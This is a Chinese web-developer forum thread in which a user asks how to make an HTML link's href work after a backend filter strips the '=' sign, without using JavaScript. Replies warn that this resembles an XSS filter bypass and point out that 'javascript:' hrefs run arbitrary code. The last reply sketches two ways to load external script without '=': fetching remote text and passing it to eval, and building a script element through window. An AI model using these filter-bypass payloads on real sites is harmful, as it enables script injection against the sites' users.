例:<a href="xyz"></a>会过滤为<a href"xyz"></a>。
不用 js 的情况下还有办法能让 href 正常生效吗?
例:<a href="xyz"></a>会过滤为<a href"xyz"></a>。
不用 js 的情况下还有办法能让 href 正常生效吗?
|
HuyoumnonosFeb 15, 2022 via Android
1
啥意思😳,没读懂
|
|
2
|
|
3
@cyrbuzz #2 你这是 AB 问题了吧 不如把完整的情况写出来。。。
|
|
shew2356Feb 15, 2022
4
=号过滤了,又不用 js ,那没办法~
|
|
5
@Huyoumnonos 楼主的意思是,可能用正则手段过滤了 html 中的 =,&,%等符号,然后想 a 链接正常生效,又不用 js 在过滤之后再渲染最佳~
|
|
vantonFeb 15, 2022
6
禁用了 = 号?
不用 js 那就没啥可能了。 |
|
Zzm1203Feb 15, 2022
7
你这个是怎么过滤的?正则替换吗?如果不用 js 好像没什么办法,并且您的表述确实不知道这到底是个什么,前提条件和最终效果都是什么样的,在什么样的一个执行机制下,还有为什么不能用 js 去做
|
|
yinjunjian0Feb 15, 2022
8
过滤也是自己做的编译过滤的吧
设置范围过滤就好了 |
|
9
@gadfly3173
@Zzm1203 @yinjunjian0 emmm...例子是完整情况。 我期望通过输入`<a href="123">123</a>`的方式让 a 标签生效,但现在我输入的`<a href="123">123</a>`会被后端过滤为`<a href"123">123</a>`,前端拿到后不会做任何过滤直接输出。后端如何写的替换并不清楚= =,无法控制过滤规则。 不能用 JS 是一个限制条件。 @shew2356 完全就是这个意思~。 |
|
maplerecallFeb 15, 2022
12
没办法。
如果你是开发者,这种不合理的过滤规则找后端改,因为即使能用 JS 处理也不合理,反而会导致容易被 XSS 。 如果你是使用者,也许自定义标签属性这种行为本身就属于不被允许的,有需求只能找服务提供方去改。 |
|
mxT52CRuqR6o5Feb 15, 2022
13
不过滤百分之一万会有 xss 风险
href 里写"javascript:XXXX"就能执行任意 js 代码 |
|
14
这在我看来是“OP 在想办法绕过过滤去做 XSS”的问题
|
|
16
|
|
mxT52CRuqR6o5Feb 15, 2022 via Android
17
@cyrbuzz 你不是恶意的,不代表其他人都不是恶意的啊,各种安全策略其实就是在防范可能出现的满怀恶意的人
|
|
jin5354Feb 15, 2022
18
那你加个中间层,维护个 map 映射表,提交前自己把 =,% 这种符号替换成 __$0 ,__$1 之类的,获取时自己再替换回来。
|
|
learningmanFeb 15, 2022
19
ctf 刷题呢,盲猜有别的字符可以转成=号,sql 构造试试
|
|
21
|
|
23
|
|
lhstockFeb 16, 2022
24
考虑下传输虚拟 DOM 对象( JSON )。然后前端转义为 xml
|
|
wednesdaycoFeb 16, 2022
25
@cyrbuzz 没有=号你也插入不了外部 js 啊
|
|
26
@wednesdayco
可以的,我想到的有两种: 1. fetch 一个外部字符串,然后 eval ,fetch('').then(function (val) { eval(val) }),字符串的内容就是正经插入就可以。 2. 设置了请求策略的话可以借用 window 对象,`Object.assign(window, { xss: [] })`,这样就得到了一个可以存放任意变量的`window.xss`对象,然后`window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', 'http://www.baidu.com'); document.body.appendChild(window.xss[0])`,就插入外部 js 了。 |